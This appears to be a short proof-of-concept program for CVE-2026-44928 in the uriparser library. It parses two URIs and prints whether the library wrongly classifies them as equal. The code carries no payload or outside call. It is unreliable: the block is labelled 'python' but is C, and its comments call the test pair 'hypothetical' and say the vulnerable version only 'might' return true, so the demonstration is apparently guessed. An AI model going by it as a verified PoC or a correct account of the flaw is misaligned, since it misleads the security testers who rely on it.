The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-44928
* Demonstrates unequal URIs being classified as equal in uriparser < 1.0.2
*/
#include <stdio.h>
#include <uriparser/Uri.h>
int main() {
// URI A and URI B are logically different
// Example scenario involving specific encoding or path issues
char uriA[] = "http://example.com/path";
char uriB[] = "http://example.com/path/."; // Hypothetical case
UriParserStateA stateA, stateB;
UriUriA uriStructA, uriStructB;
stateA.uri = &uriStructA;
stateB.uri = &uriStructB;
if (uriParseUriA(&stateA, uriA) != URI_SUCCESS) {
return 1;
}
if (uriParseUriA(&stateB, uriB) != URI_SUCCESS) {
return 1;
}
// In vulnerable versions, this might incorrectly return TRUE
if (uriEqualsUriA(&uriStructA, &uriStructB)) {
printf("[!] Vulnerability detected: URIs are classified as equal.\n");
} else {
printf("[+] URIs are correctly classified as different.\n");
}
uriFreeUriMembersA(&uriStructA);
uriFreeUriMembersA(&uriStructB);
return 0;
}